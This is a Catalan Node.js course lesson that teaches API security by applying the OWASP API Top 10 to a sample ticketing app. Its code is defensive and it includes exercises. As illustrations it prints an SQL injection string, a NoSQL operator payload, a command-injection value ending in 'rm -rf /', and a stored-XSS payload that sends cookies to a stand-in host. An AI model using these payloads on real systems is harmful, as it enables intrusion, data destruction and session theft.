Escena Viva ja sap qui truca i què pot fer cadascú. Les contrasenyes tenen el hash ben fet, els tokens roten, la matriu de permisos està escrita i l'usuariId de comprarEntrades és una conclusió del servidor i no una dada del client. Això resol dos dels deu fronts d'una API real.
Aquesta lliçó tanca el mòdul amb els altres vuit: la llista de comprovació que converteix una API que funciona en una API defensable. No és una col·lecció de trucs solts —és el recorregut de l'OWASP API Security Top 10 aplicat punt per punt a Escena Viva, amb el codi concret de cada defensa.
Contingut
- L'OWASP API Security Top 10 a Escena Viva
- Límit de peticions
- Límits de mida, complexitat i temps
- Assignació massiva i exposició excessiva de dades
- Injecció: SQL, NoSQL i ordres
- XSS i sanejament de sortida
- Capçaleres de seguretat amb helmet
- HTTPS, HSTS i
Secure - Gestió de secrets
- Registre i monitoratge d'esdeveniments de seguretat
- Dependències vulnerables i un advertiment honest
- Errors comuns, exercicis i conclusió
- L'OWASP API Security Top 10 a Escena Viva
OWASP manté una llista específica per a APIs perquè les fallades d'una API no són les d'un web tradicional: aquí no hi ha formularis per sanejar, hi ha punts d'entrada que retornen JSON a qui sàpiga demanar-los.
| # | Risc | Què significa | Què fa Escena Viva |
|---|---|---|---|
| 1 | Autorització trencada a nivell d'objecte | Accedir a recursos aliens pel seu id | Filtre per usuariId dins de la consulta, al repositori (08-05) |
| 2 | Autenticació trencada | Entrada feble, tokens mal fets, sense límits | bcrypt amb cost mesurat, JWT amb algorithms fixos, refresc rotatori (08-02, 08-04) |
| 3 | Autorització trencada a nivell de propietat | Llegir o escriure camps que no corresponen | Esquemes zod .strict() a l'entrada i projeccions explícites a la sortida |
| 4 | Consum de recursos sense límit | Peticions que exhaureixen CPU, memòria o diners | express-rate-limit per ruta, sostre de cos, paginació amb màxim, temps límit |
| 5 | Autorització trencada a nivell de funció | Cridar un punt d'entrada d'administració sense ser-ho | exigirRol a cada ruta; denegar per defecte (08-05) |
| 6 | Accés sense restricció a fluxos sensibles | Automatitzar la compra i acaparar l'aforament | limitCompra per usuari, verificació de correu obligatòria abans de comprar |
| 7 | Falsificació de peticions del costat del servidor (SSRF) | El servidor demana una URL que li dóna el client | Escena Viva no accepta URLs de l'usuari; si acceptés imatges de cartell, llista blanca de dominis |
| 8 | Mala configuració de seguretat | Capçaleres absents, CORS obert, errors amb traça | helmet, CORS amb llista blanca, gestorDErrors que no filtra interns (M6) |
| 9 | Gestió inadequada de l'inventari | Versions antigues o entorns de prova vius | Una sola versió /api, sense entorns de prova exposats, documentació al dia |
| 10 | Consum insegur d'APIs | Confiar cegament en respostes de tercers | La passarel·la de pagament es validarà com qualsevol altra entrada |
Els tres que més se subestimen són el 3, el 6 i el 9. El 3 perquè «retornar l'objecte sencer» sembla còmode. El 6 perquè no és una fallada tècnica sinó de negoci: l'API funciona perfectament mentre un revenedor buida l'aforament del Festival de Jazz. I el 9 perquè el punt d'entrada que et compromet sol ser el que vas oblidar que existia.
- Límit de peticions
Un únic limitGeneral per a tota l'API és insuficient: les rutes no costen el mateix ni valen el mateix per a un atacant.
// src/middleware/limits.js (versio completa del modul 8)
'use strict';
const rateLimit = require('express-rate-limit');
// 429 amb el format d'error de sempre (M6). Amb standardHeaders,
// express-rate-limit hi afegeix Retry-After i les capcaleres RateLimit-*.
const respostaLimit = (req, res) => res.status(429).json({
error: { codi: 'MASSA_PETICIONS', estat: 429,
missatge: 'Has superat el limit de peticions. Torna-ho a provar mes tard' },
});
const base = { standardHeaders: 'draft-7', legacyHeaders: false, handler: respostaLimit };
// Cataleg: generos, es contingut public i es pot desar a la memoria cau.
const limitGeneral = rateLimit({ ...base, windowMs: 15 * 60 * 1000, limit: 300 });
// Entrada: molt estricte. Clau IP + correu per frenar tambe l'atac
// distribuit contra UN compte des de moltes IPs.
const limitEntrada = rateLimit({
...base, windowMs: 15 * 60 * 1000, limit: 10,
keyGenerator: (req) => `${req.ip}:${String(req.body?.correu || '').toLowerCase()}`,
skipSuccessfulRequests: true, // els encerts no gasten quota
});
// Registre: crear comptes es car (bcrypt) i se n'abusa per fer brossa.
const limitRegistre = rateLimit({ ...base, windowMs: 60 * 60 * 1000, limit: 5 });
// Refresc: un client sa refresca cada 15 min. Mes es anomal.
const limitRefresc = rateLimit({ ...base, windowMs: 15 * 60 * 1000, limit: 20 });
// Compra: per USUARI autenticat, no per IP. Una familia comparteix IP; un
// revenedor fa servir moltes IPs. La identitat es la clau util.
const limitCompra = rateLimit({ ...base, windowMs: 60 * 1000, limit: 5,
keyGenerator: (req) => req.usuari?.id || req.ip });
module.exports = { limitGeneral, limitEntrada, limitRegistre, limitRefresc, limitCompra };| Ruta | Finestra / límit | Clau | Motiu |
|---|---|---|---|
GET /api/esdeveniments |
15 min / 300 | IP | Contingut públic |
POST /auth/entrada |
15 min / 10 | IP + correu | Força bruta i farciment de credencials |
POST /auth/registre |
1 h / 5 | IP | Comptes escombraria; bcrypt és car |
POST /auth/refrescar |
15 min / 20 | IP | Detectar bucles i abús |
POST /api/compres |
1 min / 5 | Usuari | Acaparament d'entrades |
El problema del proxy. Darrere d'Nginx, un balancejador o una CDN, req.ip és la IP del proxy: totes les peticions comparteixen clau i el límit s'exhaureix per a tothom alhora. La solució, ja vista al mòdul 6, és app.set('trust proxy', 1) amb el nombre de proxies de confiança —mai true en producció, perquè això fa que Express es cregui qualsevol X-Forwarded-For i un atacant podria falsificar la seva IP per saltar-se els límits.
El problema dels diversos processos. El magatzem per defecte d'express-rate-limit és a la memòria del procés. Amb cluster o amb dos contenidors, cada procés porta el seu propi compte: un límit de 10 es converteix en 10 × nombre de processos. La solució és un magatzem compartit a Redis, que es desenvolupa al mòdul 10 juntament amb cluster i la limitació de peticions distribuïda.
- Límits de mida, complexitat i temps
Tot allò que el client controla i no té sostre és una denegació de servei esperant a passar.
// src/app.js: un cos de 100 KB sobra per a qualsevol peticio d'Escena Viva.
// Sense limit, un cos de 500 MB tomba el proces per memoria.
app.use(express.json({ limit: '100kb' }));
app.use(express.urlencoded({ extended: false, limit: '10kb' }));
// src/servidor.js: capcaleres completes en 10 s frena Slowloris, que obre
// connexions i envia capcaleres a comptagotes per exhaurir el pool.
servidor.headersTimeout = 10_000;
servidor.requestTimeout = 30_000; // peticio completa
servidor.keepAliveTimeout = 65_000; // per sobre de l'ALB tipic (60 s)Paginació obligatòria amb sostre. GET /api/esdeveniments sense límit convida a ?mida=1000000:
// src/esquemes/comuns.js. El .max(100) es el sostre dur: la validacio
// REBUTJA, no retalla en silenci, perque el client sapiga que la seva peticio
// era invalida.
const esquemaPaginacio = z.object({
pagina: z.coerce.number().int().min(1).default(1),
mida: z.coerce.number().int().min(1).max(100).default(20),
}).strict();I els límits de complexitat que no són de mida:
| Límit | Valor a Escena Viva | Què evita |
|---|---|---|
| Mida del cos | 100 KB | Exhaurir la memòria |
| Longitud de contrasenya | 72 caràcters | Hash costós deliberat |
| Elements per pàgina / entrades per compra | 100 / 10 | Consultes gegants; acaparament |
| Profunditat d'objectes JSON | Plana per esquema zod | Anàlisi patològica |
| Temps de petició | 30 s | Connexions penjades |
- Assignació massiva i exposició excessiva de dades
Ja va aparèixer a 08-02 i a 08-05; aquí queda formalitzada. Assignació massiva és abocar el cos de la petició directament en un model, amb Usuari.create(req.body) o Object.assign(esdeveniment, req.body). Amb un cos {"correu":"…","contrasenya":"…","rol":"administrador","verificat":true} l'atacant es nomena administrador verificat; i {"aforamentVenut": 0} reinicia les vendes d'una sessió del Festival de Jazz. La defensa són els esquemes zod del mòdul 6 fets servir com a llista blanca, més un controlador que construeix l'objecte camp a camp:
// src/esquemes/esdeveniment.js
const esquemaActualitzarEsdeveniment = z.object({
titol: z.string().trim().min(3).max(200).optional(),
descripcio: z.string().trim().max(2000).optional(),
}).strict(); // <- rebutja QUALSEVOL camp no llistat
// Camps explicits al controlador: el que no s'anomena, no s'escriu.
const { titol, descripcio } = req.dadesValidades.cos;
const canvis = {};
if (titol !== undefined) { canvis.titol = titol; }
if (descripcio !== undefined) { canvis.descripcio = descripcio; }
await actualitzarEsdeveniment(req.params.id, canvis);Els camps que mai no s'accepten del client: rol, verificat, hashContrasenya, estat (les transicions tenen els seus punts d'entrada), aforamentVenut, creatEl, _id, usuariId.
La cara complementària: exposició excessiva de dades. El mateix problema a l'inrevés —retornar el document sencer i confiar que el front-end amagui el que sobra—. En comptes de res.json(usuari), que exposa camps interns i potser el hash, una projecció explícita: res.json({ usuari: { id, nom, correu, rol } }). Per això el model Usuari porta select: false a hashContrasenya i un toJSON que l'elimina: dues capes per a la mateixa fallada.
- Injecció: SQL, NoSQL i ordres
SQL. Resolta al mòdul 7 amb consultes parametritzades. La diferència:
// FORAT: concatenacio. Amb sala = "x'; DROP TABLE entrades; --"...
const [files] = await sequelize.query(`SELECT * FROM esdeveniments WHERE sala = '${sala}'`);
// CORRECTE: parametres. El motor tracta el valor SEMPRE com a dada, mai
// com a part de la sentencia.
const [files] = await sequelize.query('SELECT * FROM esdeveniments WHERE sala = :sala',
{ replacements: { sala }, type: QueryTypes.SELECT });NoSQL. És la que sorprèn, perquè no hi ha cadenes per concatenar. Mongoose accepta objectes com a valors de consulta, i un cos JSON pot contenir objectes: { "correu": { "$gt": "" }, "contrasenya": { "$gt": "" } }. Si el codi fa Usuari.findOne({ correu: req.body.correu }), l'operador $gt: "" significa «qualsevol correu més gran que la cadena buida» i retorna el primer usuari de la col·lecció; combinat amb una entrada mal escrita, és un accés sense contrasenya. Les defenses, en ordre d'eficàcia:
- Validar el tipus amb zod.
z.string().email()rebutja un objecte de pla. És la defensa principal, i ja la tenim des del mòdul 6. - Coaccionar explícitament:
String(req.body.correu)converteix l'objecte en"[object Object]", inofensiu. sanitizeFilterde Mongoose oexpress-mongo-sanitizecom a xarxa de seguretat, no com a defensa primària; i mai passarreq.bodydirecte afind().
Injecció d'ordres. Si algun dia Escena Viva generés PDFs d'entrades cridant un binari:
// FORAT: exec passa la cadena per una shell. Amb el codi d'entrada
// "EV-2026-000001; rm -rf /" s'executen les dues ordres.
exec(`convertir --codi ${codiEntrada}`);
// CORRECTE: execFile no fa servir shell, i els arguments son arguments
execFile('convertir', ['--codi', codiEntrada]);I tot i així, validar codiEntrada contra el format EV-<any>-<6 dígits> amb una expressió regular ancorada.
- XSS i sanejament de sortida
«Retornem JSON, l'XSS no va amb nosaltres» és un raonament perillós a mitges. És cert que un JSON no executa scripts; és fals que l'API no participi en el problema.
L'escenari real: l'organitzador del Teatro Almendra crea un esdeveniment amb títol <img src=x onerror="fetch('https://dolent.test?c='+document.cookie)">. L'API el desa i el retorna. El front-end l'insereix amb innerHTML a la fitxa de l'esdeveniment. L'script s'executa al navegador de cada visitant. Això és XSS emmagatzemat, i l'API n'ha estat el vehicle.
Les defenses, en capes:
| Capa | Mesura | Responsable |
|---|---|---|
| Entrada | Validar format i longitud amb zod; rebutjar el que no encaixi | API |
| Emmagatzematge | Desar el text tal qual, sense escapar (escapar en desar corromp les dades) | API |
| Sortida i renderització | Escapar segons el context; textContent en lloc d'innerHTML (React i Vue ho fan sols) |
Front-end |
| HTML enriquit | DOMPurify si es permet HTML a les descripcions |
Front-end |
| Defensa en profunditat | Content-Security-Policy; galetes HttpOnly i token d'accés en memòria |
API (08-04) |
La regla que resol la confusió: s'escapa a la sortida, segons el context, no a l'entrada. El mateix títol necessita un escapament diferent en HTML, en un atribut, en JavaScript o en una URL. Escapar en desar produeix < emmagatzemats que reapareixen visibles quan la dada es fa servir en un altre lloc.
El que sí que fa l'API: Content-Type: application/json sempre (mai text/html amb dades de l'usuari), X-Content-Type-Options: nosniff via helmet, i una CSP estricta per al front-end estàtic.
- Capçaleres de seguretat amb helmet
helmet està muntat des del mòdul 6. Repassem-lo ara amb criteri:
// src/app.js (fragment)
app.use(helmet({
contentSecurityPolicy: { directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // sense 'unsafe-inline': mata l'XSS reflectit
styleSrc: ["'self'"],
imgSrc: ["'self'", 'data:'],
connectSrc: ["'self'", 'https://api.escenaviva.test'],
frameAncestors: ["'none'"], // ningu no ens fica en un iframe
objectSrc: ["'none'"],
upgradeInsecureRequests: [],
} },
hsts: { maxAge: 31_536_000, includeSubDomains: true, preload: true },
referrerPolicy: { policy: 'no-referrer' },
crossOriginResourcePolicy: { policy: 'same-site' },
}));
app.disable('x-powered-by'); // capcalera que delata la tecnologia: fora| Capçalera | Què fa | Atac que mitiga |
|---|---|---|
Content-Security-Policy |
Restringeix d'on es carreguen scripts i recursos | XSS (la defensa en profunditat més potent) |
Strict-Transport-Security |
Obliga a HTTPS durant un any | Degradació a HTTP, sslstrip |
X-Content-Type-Options: nosniff |
Prohibeix endevinar el tipus | JSON interpretat com a HTML |
X-Frame-Options / frame-ancestors |
Impedeix l'emmarcament | Clickjacking |
Referrer-Policy / Cross-Origin-Resource-Policy |
No filtra l'URL d'origen; restringeix qui incrusta respostes | Fuita de tokens a URLs; fuites entre llocs |
I el CORS del mòdul 6, amb la regla que no es negocia:
// Llista blanca explicita. MAI origin: '*' amb credentials: true (el
// navegador ho rebutja, i l'intent revela un disseny equivocat).
const corsLlistaBlanca = cors({
origin: (origen, callback) => (!origen || configuracio.origensPermesos.includes(origen)
? callback(null, true)
: callback(new Error('Origen no permes'))),
credentials: true, maxAge: 600,
});Recorda també que el CORS no és autorització: és una protecció del navegador. curl ignora el CORS del tot. Un punt d'entrada sense autenticació no està protegit perquè tingui el CORS restringit.
- HTTPS, HSTS i
Secure
SecureSense TLS, tot l'anterior és decoració. En clar per la xarxa hi viatgen la contrasenya de la Lucía al POST /auth/entrada, el token d'accés a cada capçalera Authorization i la galeta de refresc. Qualsevol a la mateixa Wi-Fi ho llegeix.
Les tres peces: HTTPS a tot arreu (no només a l'entrada: si el token viatja en clar un sol cop, s'ha acabat); HSTS (Strict-Transport-Security), que fa que el navegador recordi durant un any que aquest domini és només HTTPS i no permeti ni el primer salt en clar —amb preload, ve de fàbrica—; i redirecció d'HTTP a HTTPS per a qui escrigui l'adreça a mà.
// Redireccio 308 en produccio, quan el proxy acaba el TLS.
if (configuracio.entorn === 'produccio') {
app.use((req, res, next) => (req.secure // req.secure funciona gracies a
? next() // app.set('trust proxy', 1)
: res.redirect(308, `https://${req.headers.host}${req.originalUrl}`)));
}Amb HTTPS obligatori, Secure a les galetes deixa de ser opcional: sense ell, la galeta de refresc de 30 dies s'enviaria en qualsevol petició HTTP accidental. I __Host- com a prefix obliga el navegador a comprovar Secure, Path=/ i absència de Domain.
El desplegament amb TLS, els certificats de Let's Encrypt i la terminació al proxy es tanquen al mòdul 11.
- Gestió de secrets
Escena Viva maneja avui: MONGODB_URL, POSTGRES_URL, SESSIO_SECRETS, JWT_SECRET_ACCES, JWT_SECRET_REFRESC, CSRF_SECRET. Les regles:
- Fora del codi. Tot passa per
src/config/index.js, l'únic punt que llegeixprocess.env. Ungrep -r 'process.env' src/que retorni res fora d'aquest fitxer és una fallada de revisió. - Fora del repositori.
.enval.gitignoredes del mòdul 5;.env.exempleversionat amb els noms i sense valors. - Diferents per entorn, amb longitud suficient (32 caràcters com a mínim, generats amb
randomBytes, mai frases inventades) i rotables: per aixòSESSIO_SECRETSés una llista. - Validats en arrencar: millor que el procés no arrenqui que no pas que serveixi insegur.
Què fer quan es filtra un secret, en aquest ordre i sense saltar-se passos:
- Rotar immediatament. És el primer, abans d'investigar res.
- Invalidar el que se'n deriva: si era el secret JWT, tots els tokens deixen de valer; si era el de sessió, cauen totes les sessions. És empipador i és correcte.
- Investigar l'abast: què s'hi podia fer i des de quan estava exposat.
- Auditar els registres buscant-hi usos anòmals en aquell període.
- Esborrar-lo de l'historial de Git si hi va acabar — i tot i així, donar-lo per compromès per sempre: algú va poder clonar el repositori.
- Documentar l'incident i afegir la detecció que l'hauria evitat (escàners de secrets a la CI, ganxos de pre-commit).
L'error més car és el pas 5 sense l'1: reescriure l'historial i creure que el secret torna a ser secret.
- Registre i monitoratge d'esdeveniments de seguretat
Un atac que ningú no veu és un atac amb èxit. Què registrar:
| Esdeveniment | Per què importa |
|---|---|
| Entrada fallida; entrada correcta des d'IP o país nous | Força bruta, farciment de credencials, compte compromès |
| Canvi de contrasenya, de correu o de rol | Presa de control del compte; escalada de privilegis (08-05) |
| Revocació de família per reutilització de refresc | Token robat (08-04) |
| 403 o 429 repetits del mateix usuari | Sondeig de permisos; automatització |
| Errors 500 en ràfega | Explotació en curs o error greu |
Què mai no apareix en un registre: contrasenyes (ni tan sols amb el hash fet), tokens d'accés o refresc, galetes, capçaleres Authorization, tokens de recuperació, ni el cos sencer d'una petició d'autenticació.
// src/registre/censura.js
'use strict';
const CAMPS_CENSURATS = new Set([
'contrasenya', 'contrasenyaActual', 'contrasenyaNova', 'hashContrasenya',
'token', 'tokenAcces', 'refresc', 'authorization', 'cookie', 'set-cookie',
]);
// Censura recursiva abans de registrar qualsevol objecte. La fallada real no sol
// ser un console.log(contrasenya), sino abocar la peticio sencera en un
// capturador d'errors.
function censurar(valor, profunditat = 0) {
if (profunditat > 5 || valor === null || typeof valor !== 'object') { return valor; }
const sortida = Array.isArray(valor) ? [] : {};
for (const [clau, contingut] of Object.entries(valor)) {
sortida[clau] = CAMPS_CENSURATS.has(clau.toLowerCase())
? '[CENSURAT]' : censurar(contingut, profunditat + 1);
}
return sortida;
}
module.exports = { censurar, CAMPS_CENSURATS };Els registres han de ser estructurats (JSON), portar l'idPeticio del mòdul 6 per correlacionar, i tenir política de retenció (són dades personals). El registre en producció, el seu enviament a un sistema centralitzat i les alertes es desenvolupen al mòdul 11.
- Dependències vulnerables i un advertiment honest
Al mòdul 5 vam veure npm audit i la seguretat de la cadena de subministrament. Aquí importa especialment, perquè el mòdul 8 hi ha afegit dependències que són a la ruta crítica de l'autenticació: bcrypt, jsonwebtoken, express-session, passport, passport-local, csrf-csrf. Les pràctiques mínimes: npm audit --omit=dev (l'script auditoria del package.json), npm outdated per veure versions desfasades, npm ci per a instal·lacions reproduïbles des del lockfile, package-lock.json versionat, l'auditoria com a pas que trenca la construcció davant de vulnerabilitats altes o crítiques, actualitzacions automatitzades revisades per una persona, i cap dependència nova sense mirar-ne el manteniment i les dependències transitives. La CI es munta al mòdul 11.
I ara, l'advertiment. Tot el d'aquest mòdul és correcte i necessari. No és suficient.
- Aquesta lliçó no substitueix una auditoria de seguretat professional. Un especialista troba el que un desenvolupador no veu per conèixer massa bé el seu propi codi.
- Si Escena Viva processa pagaments reals, entra en l'àmbit de PCI DSS. La resposta correcta gairebé sempre és no tocar les dades de targeta: delegar en una passarel·la (Stripe, Redsys) i no emmagatzemar res.
- Si maneja dades personals de residents a la UE, s'hi aplica el RGPD: base legal, minimització, drets d'accés i supressió, registre de tractaments i notificació de bretxes en 72 hores.
- La seguretat no és un estat, és un procés: dependències que envelleixen, atacs nous, codi que canvia.
- I una regla d'or: si la teva decisió de seguretat depèn que un atacant no sàpiga alguna cosa, no és seguretat, és esperança.
Errors Comuns i Consells
trust proxy: trueen producció. Fa que Express es cregui qualsevolX-Forwarded-For: un atacant falsifica la seva IP i esquiva tots els límits. Posa-hi el nombre de proxies reals.- Limitar només per IP. Darrere d'una CDN o d'una xarxa mòbil compartida, castiga innocents i no frena qui rota IPs. Limita per identitat allà on n'hi hagi.
- Creure que el CORS protegeix l'API: és una protecció del navegador, i
curlno la coneix. O escapar l'HTML en desar, que corromp les dades i no protegeix en altres contextos; s'escapa a la sortida. res.json(document)sense projecció. Exposició excessiva de dades, la fallada silenciosa més freqüent.- Retornar la traça de l'error al client. Regala rutes, versions i estructura interna. El
gestorDErrorsdel mòdul 6 només retorna missatges d'errors operatius. - Deixar viva una versió antiga de l'API. El punt d'entrada oblidat no té les defenses noves.
- Consell: converteix aquesta lliçó en una llista de comprovació del repositori i repassa-la a cada revisió de codi. La seguretat que depèn de la memòria d'algú es perd la primera setmana de pressa.
- Consell: fes que la CI falli davant d'
npm auditamb vulnerabilitats altes, davant de secrets detectats i davant de rutes sense middleware d'autenticació —el que automatitzes es compleix— i denega per defecte: una ruta nova sense política explícita ha de ser inaccessible, no pública.
Exercicis
Exercici 1: auditar un punt d'entrada
Troba les sis fallades de seguretat d'aquest punt d'entrada i reescriu-lo.
router.get('/api/usuaris', async (req, res) => {
const filtre = req.query.filtre ? JSON.parse(req.query.filtre) : {};
const usuaris = await Usuari.find(filtre).select('+hashContrasenya');
res.json(usuaris);
});Exercici 2: límit per flux sensible
Les entrades del Festival de Jazz (evt-003) s'exhaureixen en segons i sospitem de revenedors. Dissenya les mesures de límit i control per a POST /api/compres, indicant què mesura cadascuna i quin atac frena. Tingues en compte que un revenedor pot crear molts comptes.
Exercici 3: llista de comprovació
Escriu la llista de comprovació de seguretat d'Escena Viva agrupada en quatre blocs (autenticació, autorització, entrada/sortida, infraestructura), amb almenys quatre punts verificables per bloc. «Verificable» vol dir que es pugui respondre sí o no mirant el codi.
Solucions
Exercici 1
- Sense autenticació: qualsevol llista els usuaris.
- Sense autorització: encara que n'hi hagués, llistar usuaris és només d'administrador.
- Injecció NoSQL: el
JSON.parsed'un paràmetre de consulta permet{"rol":{"$ne":"assistent"}}o filtres arbitraris. select('+hashContrasenya'): exposa els hashos de totes les contrasenyes. Injustificable fora de l'entrada.- Sense paginació:
find({})retorna la col·lecció sencera; amb molts usuaris, tomba el procés per memòria. res.json(usuaris)sense projecció: exposició excessiva de dades (dates internes,__v,salaAssignada).
router.get('/api/usuaris', autenticar, exigirRol('administrador'),
validar(esquemaLlistarUsuaris, ORIGENS_VALIDS.CONSULTA), // zod .strict()
async (req, res, next) => {
try {
const { pagina, mida, rol } = req.dadesValidades.consulta;
const filtre = rol ? { rol } : {}; // construit a partir de valors VALIDATS
const usuaris = await Usuari.find(filtre)
.select('correu nom rol verificat creatEl') // projeccio explicita
.skip((pagina - 1) * mida).limit(mida).lean(); // sostre: max 100 a zod
res.json({ pagina, mida, usuaris: usuaris.map((u) => ({ id: String(u._id),
correu: u.correu, nom: u.nom, rol: u.rol, verificat: u.verificat })) });
} catch (error) { next(error); }
});Exercici 2
| Mesura | Què mesura | Atac que frena |
|---|---|---|
limitCompra: 5 peticions/min per usuari |
Identitat autenticada | Automatització des d'un compte |
| Màxim 6 entrades per comanda i 10 per sessió i usuari (regla de negoci al repositori) | Acumulat històric | Acaparament amb moltes peticions petites |
exigirVerificat i limitRegistre (5 comptes/hora per IP) |
Propietat del correu; creació de comptes | Comptes d'un sol ús i fàbriques de comptes |
| Antiguitat mínima del compte en esdeveniments d'«alta demanda» | Data de creatEl |
Comptes creats just abans de la venda |
| CAPTCHA en superar un llindar; cua d'espera amb torn signat | Comportament i ordre d'arribada | Automatització bàsica; ràfegues simultànies |
| Auditoria de compres per IP, targeta i agent d'usuari | Correlació entre comptes | Detecció posterior de xarxes de comptes |
Les tres primeres són la base i s'implementen avui amb el que hem après. Nota honesta: el límit per usuari no pot frenar tot sol qui controla mil comptes verificats; per això el control real combina límits, fricció (verificació, antiguitat) i detecció posterior, amb capacitat d'anul·lar comandes. I tot això amb el magatzem compartit a Redis del mòdul 10, perquè amb diversos processos el límit en memòria es multiplica.
Exercici 3
Autenticació
- [ ] Les contrasenyes tenen el hash fet amb bcrypt i el cost és a
configuracio, mesurat al maquinari real. - [ ]
hashContrasenyatéselect: falsei s'elimina atoJSON. - [ ] L'entrada respon amb missatge, codi i temps idèntics per a usuari inexistent i contrasenya incorrecta.
- [ ]
jwt.verifyfixaalgorithms,issueriaudiencede manera explícita. - [ ] El token de refresc es desa amb el hash fet, rota a cada ús i detecta reutilització, i els secrets d'accés i refresc són diferents i de 32+ caràcters.
Autorització
- [ ] Tota ruta no pública porta
autenticari una comprovació de permís explícita. - [ ] Les consultes de recursos propis filtren per
req.usuari.iddins de la consulta. - [ ] Es distingeix 401 de 403, i es fa servir 404 allà on l'existència és sensible.
- [ ] La política viu a
src/autoritzacio/politica.jsi no hi ha capifde rol als controladors. - [ ] Cap punt d'entrada no accepta
rol,verificatoestatdes del cos, i els canvis de rol queden auditats i revoquen els tokens de refresc.
Entrada i sortida
- [ ] Tots els esquemes zod fan servir
.strict(); tots els llistats tenen paginació amb sostre màxim. - [ ]
express.jsontélimitconfigurat. - [ ] Cap resposta no retorna un document de l'ODM sense projecció explícita.
- [ ] Cap consulta a la base no rep
req.bodyoreq.querysense validar. - [ ] Els errors no operatius no filtren missatge ni traça al client.
Infraestructura
- [ ] helmet amb CSP i HSTS;
x-powered-bydesactivat; CORS amb llista blanca, mai'*'amb credencials. - [ ]
trust proxyamb el nombre real de proxies. - [ ] Límits de peticions per tipus de ruta, amb clau adequada (IP o usuari).
- [ ]
process.envnomés es llegeix asrc/config/index.js, amb validació en arrencar. - [ ]
npm auditsense vulnerabilitats altes ipackage-lock.jsonversionat. - [ ] Els registres estan censurats i no contenen credencials ni tokens.
Conclusió
Amb aquesta lliçó es tanca el mòdul 8, i Escena Viva és una altra API. Vam començar amb un comprarEntrades que acceptava l'usuariId que li vingués de gust al client i acabem amb un sistema complet: contrasenyes amb el hash fet amb bcrypt i cost mesurat, registre i entrada que no filtren quins correus existeixen ni pel missatge ni pel temps, tokens d'un sol ús ben fets per verificar i recuperar; sessions de servidor amb Passport, amb regeneració contra la fixació de sessió i protecció CSRF; JWT d'accés curt amb algorithms fixos i token de refresc rotatori en galeta HttpOnly amb detecció de reutilització; una matriu de permisos convertida en política centralitzada, amb 401 i 403 ben diferenciats i el filtre per propietari empès dins de la consulta perquè l'IDOR sigui impossible en comptes d'evitable. I, en aquesta última lliçó, l'OWASP API Security Top 10 recorregut de debò: límits afinats per ruta, sostres de mida i paginació, assignació massiva tancada amb llistes blanques, injecció SQL i NoSQL blocada a la vora, capçaleres de seguretat amb criteri, HTTPS obligatori, secrets gestionats i esdeveniments de seguretat monitorats sense registrar mai cap credencial.
I ara, la pregunta incòmoda de sempre, la que aquest curs et fa al final de cada mòdul.
L'API d'Escena Viva ven entrades, persisteix comandes amb transaccions que impedeixen la sobrevenda, autentica usuaris, rota tokens i autoritza operacions segons rols i propietat. Fa moltíssimes coses. I ningú no ha comprovat mai que funcioni. Ni una sola vegada. npm test continua fallant a propòsit des del mòdul 5, i cada línia de seguretat que hem escrit en aquestes sis lliçons —l'esquer de bcrypt, la detecció de reutilització del refresc, cada cel·la de la matriu de permisos— descansa avui sobre la confiança que la vam escriure bé. Un if invertit a potGestionarEsdeveniment obriria el catàleg sencer sense que res no avisés.
Al mòdul 9 hi posem fi: proves unitàries amb Mocha i Chai, dobles de prova amb Sinon, proves d'integració amb supertest contra l'aplicació real, cobertura i depuració. Veuràs que la política d'autorització, com que són funcions pures, es prova sencera amb una taula de casos que recorre la matriu cel·la per cel·la. I descobriràs que autenticar a les proves té la seva pròpia tècnica —com aconsegueix supertest un token vàlid sense escriure cap contrasenya al codi de les proves—, que és justament el que veurem allà.
Curs de Node.js: De Principiant a Avançat
Mòdul 1: Introducció a Node.js
- Què és Node.js?
- Instal·lació i Configuració de l'Entorn
- El Teu Primer Programa en Node.js
- El REPL de Node.js
- JavaScript Modern per a Node.js
- El Projecte del Curs: la Plataforma Escena Viva
Mòdul 2: Conceptes Bàsics
- Arquitectura de Node.js
- El Bucle d'Esdeveniments (Event Loop)
- Callbacks i Programació Asíncrona
- Promeses i async/await
- Esdeveniments i EventEmitter
- Mòduls CommonJS i require()
- Mòduls ES i Interoperabilitat
Mòdul 3: Sistema de Fitxers i E/S
- Lectura i Escriptura de Fitxers
- El Mòdul fs a Fons
- Rutes Multiplataforma amb el Mòdul path
- Treballant amb Streams
- Streams de Transformació i pipeline
- Buffers i Dades Binàries
Mòdul 4: HTTP i Servidors Web
- Creant un Servidor HTTP Simple
- Gestió de Sol·licituds i Respostes
- Enrutament Manual
- Servint Fitxers Estàtics
- Rebent Dades: Cossos de Petició i JSON
- Consumint APIs Externes des de Node.js
Mòdul 5: NPM i Gestió de Paquets
- Introducció a NPM i package.json
- Instal·lació i Ús de Paquets
- Versionat Semàntic i package-lock
- Scripts d'npm i Automatització del Projecte
- Creació i Publicació de Paquets
- Seguretat i Manteniment de Dependències
Mòdul 6: Framework Express.js
- Introducció a Express.js
- Configuració d'una Aplicació Express
- Enrutament a Express
- Middleware
- Middleware de Tercers Essencials
- Validació de Dades d'Entrada
- Gestió d'Errors
Mòdul 7: Bases de Dades i ORMs
- Introducció a les Bases de Dades
- Usant MongoDB amb Mongoose
- Operacions CRUD
- Relacions, Poblat i Consultes Avançades
- Usant Bases de Dades SQL amb Sequelize
- Migracions, Transaccions i Dades de Prova
Mòdul 8: Autenticació i Autorització
- Introducció a l'Autenticació
- Registre d'Usuaris i Hash de Contrasenyes
- Sessions i Galetes amb Passport.js
- Autenticació amb JWT
- Control d'Accés Basat en Rols
- Bones Pràctiques de Seguretat en APIs
Mòdul 9: Proves i Depuració
- Introducció a les Proves
- Proves Unitàries amb Mocha i Chai
- Dobles de Prova amb Sinon
- Proves d'Integració
- Cobertura i Automatització de les Proves
- Depuració d'Aplicacions Node.js
Mòdul 10: Temes Avançats
- El Mòdul Cluster
- Fils de Treball (Worker Threads)
- Memòria Cau i Cues de Treball amb Redis
- Optimització del Rendiment
- Construcció d'APIs RESTful
- GraphQL amb Node.js
Mòdul 11: Desplegament i DevOps
- Configuració i Variables d'Entorn
- Registre i Monitoratge en Producció
- Usant PM2 per a la Gestió de Processos
- Empaquetatge amb Docker
- Desplegant a Heroku i Altres PaaS
- Integració i Desplegament Continus
